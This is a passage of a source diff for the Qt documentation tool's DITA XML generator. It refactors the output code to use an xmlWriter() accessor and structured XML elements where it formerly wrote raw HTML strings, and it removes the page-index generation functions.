    \n" - << "\n"; - else - out() << "\n"; - i++; - ++m; - } - if (name_alignment) - out() << "
    "; - out() << "
      \n"; - } - - int i = 0; - NodeList::ConstIterator m = section.members.begin(); - while (m != section.members.end()) { - if ((*m)->access() == Node::Private) { - ++m; - continue; - } - - if (name_alignment) { - out() << "
    "; - } - else { - if (twoColumn && i == (int) (section.members.count() + 1) / 2) - out() << "
      \n"; - out() << "
    • "; - } - - QString marked = getMarkedUpSynopsis(*m, relative, marker, style); - writeText(marked, marker, relative, name_alignment); - if (name_alignment) - out() << "
    \n"; - else { - out() << "\n"; - if (twoColumn) - out() << "\n\n"; - } - } - - if (style == CodeMarker::Summary && !section.inherited.isEmpty()) { - out() << "
      \n"; - generateSectionInheritedList(section, relative, marker, name_alignment); - out() << "
    \n"; - } -} - +/*! + Writes the "inherited from" lists. + */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, - CodeMarker* marker, - bool nameAlignment) + CodeMarker* marker) { + if (section.inherited.isEmpty()) + return; + xmlWriter().writeStartElement("ul"); QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { - if (nameAlignment) - out() << "
  • "; + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass","fn"); + QString text = (*p).second + " "; + if ((*p).second == 1) + text += section.singularMember; else - out() << "
  • "; - out() << (*p).second << " "; - if ((*p).second == 1) { - out() << section.singularMember; - } - else { - out() << section.pluralMember; - } - out() << " inherited from " - << protectEnc(marker->plainFullName((*p).first, relative)) - << "
  • \n"; + text += section.pluralMember; + text += " inherited from "; + text += protectEnc(marker->plainFullName((*p).first, relative)) + ""; + xmlWriter().writeCharacters(text); ++p; } + xmlWriter().writeEndElement(); // } /*! @@ -3044,12 +2977,12 @@ void DitaXmlGenerator::writeText(const QString& markedCode, if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { if (nameAlignment && !done) {// && (i != 0)) Why was this here? if (!html.isEmpty()) { - writer.writeCharacters(html); + xmlWriter().writeCharacters(html); html.clear(); } - writer.writeEndElement(); // - writer.writeStartElement("entry"); - writer.writeAttribute("outputclass=","memItemRight bottomAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("entry"); + xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); done = true; } i += 2; @@ -3166,7 +3099,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } } if (!html.isEmpty()) - writer.writeCharacters(html); + xmlWriter().writeCharacters(html); } void DitaXmlGenerator::generateLink(const Atom* atom, @@ -3178,33 +3111,33 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) { // hack for C++: move () outside of link int k = funcLeftParen.pos(1); - writer.writeCharacters(protectEnc(atom->string().left(k))); + xmlWriter().writeCharacters(protectEnc(atom->string().left(k))); if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } inLink = false; - writer.writeCharacters(protectEnc(atom->string().mid(k))); + xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); } else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate bool func = atom->string().endsWith("()"); bool tt = (func || atom->string().contains(camelCase)); if (tt) - writer.writeStartElement("tt"); + xmlWriter().writeStartElement("tt"); if (func) { - writer.writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); + xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } } @@ -3478,22 +3411,22 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, { if (actualNode == 0) actualNode = apparentNode; - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(actualNode, relative)); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); if (true || relative == 0 || relative->status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: - writer.writeAttribute("outputclass","obsolete"); + xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: - writer.writeAttribute("outputclass","compat"); + xmlWriter().writeAttribute("outputclass","compat"); break; default: ; } } - writer.writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); - writer.writeEndElement(); // + xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateDetailedMember(const Node* node, @@ -3505,21 +3438,25 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, if ((node->type() == Node::Enum) && (en = static_cast(node))->flagsType()) { - out() << "

    "; - out() << ""; + xmlWriter().writeStartElement("p"); + writeGuidAttribute(refForNode(node)); + xmlWriter().writeAttribute("outputclass","h3 flags"); + xmlWriter().writeCharacters(refForNode(node)); marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - out() << "
    "; + xmlWriter().writeCharacters("\n"); marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); writeText(marked,marker,relative); - out() << "

    \n"; + xmlWriter().writeEndElement(); //

    } else { - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(node,relative,marker,CodeMarker::Detailed); - writeText(marked,marker,relative); - out() << "

    \n"; + xmlWriter().writeStartElement("p"); + writeGuidAttribute(refForNode(node)); + xmlWriter().writeAttribute("outputclass","h3 fn"); + xmlWriter().writeCharacters(refForNode(node)); + marked = getMarkedUpSynopsis(node, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); + xmlWriter().writeEndElement(); //

    } generateStatus(node, marker); @@ -3536,29 +3473,34 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, section.members += property->resetters(); if (!section.members.isEmpty()) { - out() << "

    Access functions:

    \n"; - generateSectionList(section, node, marker, CodeMarker::Accessors); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Access functions:"); + xmlWriter().writeEndElement(); //

    + generateSection(section.members, node, marker, CodeMarker::Accessors); } Section notifiers; notifiers.members += property->notifiers(); if (!notifiers.members.isEmpty()) { - out() << "

    Notifier signal:

    \n"; - //out() << "

    This signal is emitted when the property value is changed.

    \n"; - generateSectionList(notifiers, node, marker, CodeMarker::Accessors); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Notifier signal:"); + xmlWriter().writeEndElement(); //

    + generateSection(notifiers.members, node, marker, CodeMarker::Accessors); } } else if (node->type() == Node::Enum) { en = static_cast(node); if (en->flagsType()) { - out() << "

    The " << protectEnc(en->flagsType()->name()) - << " type is a typedef for " - << "QFlags<" - << protectEnc(en->name()) - << ">. It stores an OR combination of " - << protectEnc(en->name()) - << " values.

    \n"; + xmlWriter().writeStartElement("p"); + QString text = "The " + protectEnc(en->flagsType()->name()) + + " type is a typedef for " + + "QFlags<" + + protectEnc(en->name()) + + ">. It stores an OR combination of " + + protectEnc(en->name()) + " values."; + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); //

    } } generateAlsoList(node, marker); @@ -3984,28 +3926,28 @@ void DitaXmlGenerator::beginLink(const QString& link, this->link = link; if (link.isEmpty()) { if (showBrokenLinks) - writer.writeStartElement("i"); + xmlWriter().writeStartElement("i"); } else if (node == 0 || (relative != 0 && node->status() == relative->status())) { - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); } else { switch (node->status()) { case Node::Obsolete: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","obsolete"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeAttribute("outputclass","compat"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + xmlWriter().writeAttribute("outputclass","compat"); break; default: - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); } } inLink = true; @@ -4016,15 +3958,15 @@ void DitaXmlGenerator::endLink() if (inLink) { if (link.isEmpty()) { if (showBrokenLinks) - writer.writeEndElement(); // i + xmlWriter().writeEndElement(); // i } else { if (inObsoleteLink) { - writer.writeStartElement("sup"); - writer.writeCharacters("(obsolete)"); - writer.writeEndElement(); // sup + xmlWriter().writeStartElement("sup"); + xmlWriter().writeCharacters("(obsolete)"); + xmlWriter().writeEndElement(); // sup } - writer.writeEndElement(); // xref + xmlWriter().writeEndElement(); // xref } } inLink = false; @@ -4273,130 +4215,6 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, } /*! - Generate the element for the given \a node using the \a writer. - Return true if a element was written; otherwise return false. - */ -bool DitaXmlGenerator::generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const -{ - if (node->pageType() == Node::NoPageType) - return false; - if (node->name().isEmpty()) - return true; - if (node->access() == Node::Private) - return false; - if (!node->isInnerNode()) - return false; - - QString title; - QString rawTitle; - QString fullTitle; - const InnerNode* inner = static_cast(node); - - writer.writeStartElement("page"); - QXmlStreamAttributes attributes; - QString t; - t.setNum(id++); - switch (node->type()) { - case Node::Fake: - { - const FakeNode* fake = static_cast(node); - title = fake->fullTitle(); - break; - } - case Node::Class: - { - title = node->name() + " Class Reference"; - break; - } - case Node::Namespace: - { - rawTitle = marker->plainName(inner); - fullTitle = marker->plainFullName(inner); - title = rawTitle + " Namespace Reference"; - break; - } - default: - title = node->name(); - break; - } - writer.writeAttribute("id",t); - writer.writeStartElement("pageWords"); - writer.writeCharacters(title); - if (!inner->pageKeywords().isEmpty()) { - const QStringList& w = inner->pageKeywords(); - for (int i = 0; i < w.size(); ++i) { - writer.writeCharacters(" "); - writer.writeCharacters(w.at(i).toLocal8Bit().constData()); - } - } - writer.writeEndElement(); - writer.writeStartElement("pageTitle"); - writer.writeCharacters(title); - writer.writeEndElement(); - writer.writeStartElement("pageUrl"); - writer.writeCharacters(PageGenerator::fileName(node)); - writer.writeEndElement(); - writer.writeStartElement("pageType"); - switch (node->pageType()) { - case Node::ApiPage: - writer.writeCharacters("APIPage"); - break; - case Node::ArticlePage: - writer.writeCharacters("Article"); - break; - case Node::ExamplePage: - writer.writeCharacters("Example"); - break; - default: - break; - } - writer.writeEndElement(); - writer.writeEndElement(); - return true; -} - -/*! - Traverse the tree recursively and generate the - elements. - */ -void DitaXmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const -{ - if (generatePageElement(writer, node, marker)) { - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - // Recurse to write an element for this child node and all its children. - foreach (const Node *child, inner->childNodes()) - generatePageElements(writer, child, marker); - } - } -} - -/*! - Outputs the file containing the index used for searching the html docs. - */ -void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const -{ - QFile file(fileName); - if (!file.open(QFile::WriteOnly | QFile::Text)) - return ; - - QXmlStreamWriter writer(&file); - writer.setAutoFormatting(true); - writer.writeStartDocument(); - writer.writeStartElement("qtPageIndex"); - - generatePageElements(writer, myTree->root(), marker); - - writer.writeEndElement(); // qtPageIndex - writer.writeEndDocument(); - file.close(); -} - -/*! Return the full qualification of the node \a n, but without the name of \a n itself. e.g. A::B::C */ @@ -4447,31 +4265,31 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) int index; if (!cn->baseClasses().isEmpty()) { - writer.writeStartElement(CXXCLASSDERIVATIONS); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONS); r = cn->baseClasses().begin(); index = 0; while (r != cn->baseClasses().end()) { - writer.writeStartElement(CXXCLASSDERIVATION); - writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); - writer.writeAttribute("value",(*r).accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSDERIVATION); + xmlWriter().writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",(*r).accessString()); + xmlWriter().writeEndElement(); // // not included: - writer.writeStartElement(CXXCLASSBASECLASS); - writer.writeAttribute("href",(*r).node->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName((*r).node)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSBASECLASS); + xmlWriter().writeAttribute("href",(*r).node->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName((*r).node)); + xmlWriter().writeEndElement(); // // not included: or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ++r; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -4509,21 +4327,21 @@ void DitaXmlGenerator::writeLocation(const Node* n) s2 = CXXVARIABLEDECLARATIONFILE; s3 = CXXVARIABLEDECLARATIONFILELINE; } - writer.writeStartElement(s1); - writer.writeStartElement(s2); - writer.writeAttribute("name","filePath"); - writer.writeAttribute("value",n->location().filePath()); - writer.writeEndElement(); // DeclarationFile> - writer.writeStartElement(s3); - writer.writeAttribute("name","lineNumber"); + xmlWriter().writeStartElement(s1); + xmlWriter().writeStartElement(s2); + xmlWriter().writeAttribute("name","filePath"); + xmlWriter().writeAttribute("value",n->location().filePath()); + xmlWriter().writeEndElement(); // DeclarationFile> + xmlWriter().writeStartElement(s3); + xmlWriter().writeAttribute("name","lineNumber"); QString lineNr; - writer.writeAttribute("value",lineNr.setNum(n->location().lineNo())); - writer.writeEndElement(); // DeclarationFileLine> + xmlWriter().writeAttribute("value",lineNr.setNum(n->location().lineNo())); + xmlWriter().writeEndElement(); // DeclarationFileLine> // not included: , , // and - writer.writeEndElement(); // ApiItemLocation> + xmlWriter().writeEndElement(); // ApiItemLocation> } /*! @@ -4537,88 +4355,88 @@ void DitaXmlGenerator::writeFunctions(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Function) { FunctionNode* fn = const_cast(static_cast(*m)); - writer.writeStartElement(CXXFUNCTION); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); + xmlWriter().writeStartElement(CXXFUNCTION); + xmlWriter().writeAttribute("id",fn->guid()); + xmlWriter().writeStartElement(APINAME); if (fn->metaness() == FunctionNode::Signal) - writer.writeAttribute("class","signal"); + xmlWriter().writeAttribute("class","signal"); else if (fn->metaness() == FunctionNode::Slot) - writer.writeAttribute("class","slot"); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeAttribute("class","slot"); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // generateBrief(fn,marker); // not included: - writer.writeStartElement(CXXFUNCTIONDETAIL); - writer.writeStartElement(CXXFUNCTIONDEFINITION); - writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDETAIL); + xmlWriter().writeStartElement(CXXFUNCTIONDEFINITION); + xmlWriter().writeStartElement(CXXFUNCTIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // // not included: if (fn->isStatic()) { - writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); - writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // } // not included: , if (fn->isConst()) { - writer.writeStartElement(CXXFUNCTIONCONST); - writer.writeAttribute("name","const"); - writer.writeAttribute("value","const"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONCONST); + xmlWriter().writeAttribute("name","const"); + xmlWriter().writeAttribute("value","const"); + xmlWriter().writeEndElement(); // } // not included: // virtualness() != FunctionNode::NonVirtual) { - writer.writeStartElement(CXXFUNCTIONVIRTUAL); - writer.writeAttribute("name","virtual"); - writer.writeAttribute("value","virtual"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONVIRTUAL); + xmlWriter().writeAttribute("name","virtual"); + xmlWriter().writeAttribute("value","virtual"); + xmlWriter().writeEndElement(); // if (fn->virtualness() == FunctionNode::PureVirtual) { - writer.writeStartElement(CXXFUNCTIONPUREVIRTUAL); - writer.writeAttribute("name","pure virtual"); - writer.writeAttribute("value","pure virtual"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPUREVIRTUAL); + xmlWriter().writeAttribute("name","pure virtual"); + xmlWriter().writeAttribute("value","pure virtual"); + xmlWriter().writeEndElement(); // } } if (fn->name() == cn->name()) { - writer.writeStartElement(CXXFUNCTIONCONSTRUCTOR); - writer.writeAttribute("name","constructor"); - writer.writeAttribute("value","constructor"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR); + xmlWriter().writeAttribute("name","constructor"); + xmlWriter().writeAttribute("value","constructor"); + xmlWriter().writeEndElement(); // } else if (fn->name()[0] == QChar('~')) { - writer.writeStartElement(CXXFUNCTIONDESTRUCTOR); - writer.writeAttribute("name","destructor"); - writer.writeAttribute("value","destructor"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDESTRUCTOR); + xmlWriter().writeAttribute("name","destructor"); + xmlWriter().writeAttribute("value","destructor"); + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement(CXXFUNCTIONDECLAREDTYPE); - writer.writeCharacters(fn->returnType()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE); + xmlWriter().writeCharacters(fn->returnType()); + xmlWriter().writeEndElement(); // } // not included: QString fq = fullQualification(fn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXFUNCTIONPROTOTYPE); - writer.writeCharacters(fn->signature(true)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE); + xmlWriter().writeCharacters(fn->signature(true)); + xmlWriter().writeEndElement(); // QString fnl = fn->signature(false); int idx = fnl.indexOf(' '); @@ -4627,33 +4445,33 @@ void DitaXmlGenerator::writeFunctions(const Section& s, else ++idx; fnl = fn->parent()->name() + "::" + fnl.mid(idx); - writer.writeStartElement(CXXFUNCTIONNAMELOOKUP); - writer.writeCharacters(fnl); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP); + xmlWriter().writeCharacters(fnl); + xmlWriter().writeEndElement(); // if (fn->isReimp() && fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXFUNCTIONREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // } writeParameters(fn,marker); writeLocation(fn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!fn->doc().isEmpty()) { generateBody(fn, marker); // generateAlsoList(inner, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // if (fn->metaness() == FunctionNode::Ctor || fn->metaness() == FunctionNode::Dtor || @@ -4671,33 +4489,33 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke { const QList& parameters = fn->parameters(); if (!parameters.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERS); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERS); QList::ConstIterator p = parameters.begin(); while (p != parameters.end()) { - writer.writeStartElement(CXXFUNCTIONPARAMETER); - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); - writer.writeCharacters((*p).leftType()); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); + xmlWriter().writeCharacters((*p).leftType()); if (!(*p).rightType().isEmpty()) - writer.writeCharacters((*p).rightType()); - writer.writeEndElement(); // - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); - writer.writeCharacters((*p).name()); - writer.writeEndElement(); // + xmlWriter().writeCharacters((*p).rightType()); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); + xmlWriter().writeCharacters((*p).name()); + xmlWriter().writeEndElement(); // // not included: if (!(*p).defaultValue().isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); - writer.writeCharacters((*p).defaultValue()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); + xmlWriter().writeCharacters((*p).defaultValue()); + xmlWriter().writeEndElement(); // } // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++p; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -4712,111 +4530,111 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Enum) { const EnumNode* en = static_cast(*m); - writer.writeStartElement(CXXENUMERATION); - writer.writeAttribute("id",en->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(en->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATION); + xmlWriter().writeAttribute("id",en->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(en->name()); + xmlWriter().writeEndElement(); // generateBrief(en,marker); // not included - writer.writeStartElement(CXXENUMERATIONDETAIL); - writer.writeStartElement(CXXENUMERATIONDEFINITION); - writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER); - writer.writeAttribute("value",en->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONDETAIL); + xmlWriter().writeStartElement(CXXENUMERATIONDEFINITION); + xmlWriter().writeStartElement(CXXENUMERATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",en->accessString()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(en); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } const QList& items = en->items(); if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONPROTOTYPE); - writer.writeCharacters(en->name()); - writer.writeCharacters(" = { "); + xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE); + xmlWriter().writeCharacters(en->name()); + xmlWriter().writeCharacters(" = { "); QList::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeCharacters((*i).name()); + xmlWriter().writeCharacters((*i).name()); if (!(*i).value().isEmpty()) { - writer.writeCharacters(" = "); - writer.writeCharacters((*i).value()); + xmlWriter().writeCharacters(" = "); + xmlWriter().writeCharacters((*i).value()); } ++i; if (i != items.end()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(" }"); - writer.writeEndElement(); // + xmlWriter().writeCharacters(" }"); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXENUMERATIONNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + en->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP); + xmlWriter().writeCharacters(en->parent()->name() + "::" + en->name()); + xmlWriter().writeEndElement(); // // not included: if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATORS); + xmlWriter().writeStartElement(CXXENUMERATORS); QList::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeStartElement(CXXENUMERATOR); - writer.writeStartElement(APINAME); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATOR); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(en->parent()); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATORSCOPEDNAME); - writer.writeCharacters(fq + "::" + (*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME); + xmlWriter().writeCharacters(fq + "::" + (*i).name()); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXENUMERATORPROTOTYPE); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // - writer.writeStartElement(CXXENUMERATORNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + (*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE); + xmlWriter().writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP); + xmlWriter().writeCharacters(en->parent()->name() + "::" + (*i).name()); + xmlWriter().writeEndElement(); // if (!(*i).value().isEmpty()) { - writer.writeStartElement(CXXENUMERATORINITIALISER); - writer.writeAttribute("value", (*i).value()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORINITIALISER); + xmlWriter().writeAttribute("value", (*i).value()); + xmlWriter().writeEndElement(); // } // not included: if (!(*i).text().isEmpty()) { - writer.writeStartElement(APIDESC); + xmlWriter().writeStartElement(APIDESC); generateText((*i).text(), en, marker); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++i; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } writeLocation(en); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!en->doc().isEmpty()) { generateBody(en, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -4833,55 +4651,55 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Typedef) { const TypedefNode* tn = static_cast(*m); - writer.writeStartElement(CXXTYPEDEF); - writer.writeAttribute("id",tn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(tn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEF); + xmlWriter().writeAttribute("id",tn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(tn->name()); + xmlWriter().writeEndElement(); // generateBrief(tn,marker); // not included: - writer.writeStartElement(CXXTYPEDEFDETAIL); - writer.writeStartElement(CXXTYPEDEFDEFINITION); - writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER); - writer.writeAttribute("value",tn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFDETAIL); + xmlWriter().writeStartElement(CXXTYPEDEFDEFINITION); + xmlWriter().writeStartElement(CXXTYPEDEFACCESSSPECIFIER); + xmlWriter().writeAttribute("value",tn->accessString()); + xmlWriter().writeEndElement(); // // not included: QString fq = fullQualification(tn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXTYPEDEFSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } // not included: - writer.writeStartElement(CXXTYPEDEFNAMELOOKUP); - writer.writeCharacters(tn->parent()->name() + "::" + tn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP); + xmlWriter().writeCharacters(tn->parent()->name() + "::" + tn->name()); + xmlWriter().writeEndElement(); // // not included: writeLocation(tn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!tn->doc().isEmpty()) { generateBody(tn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
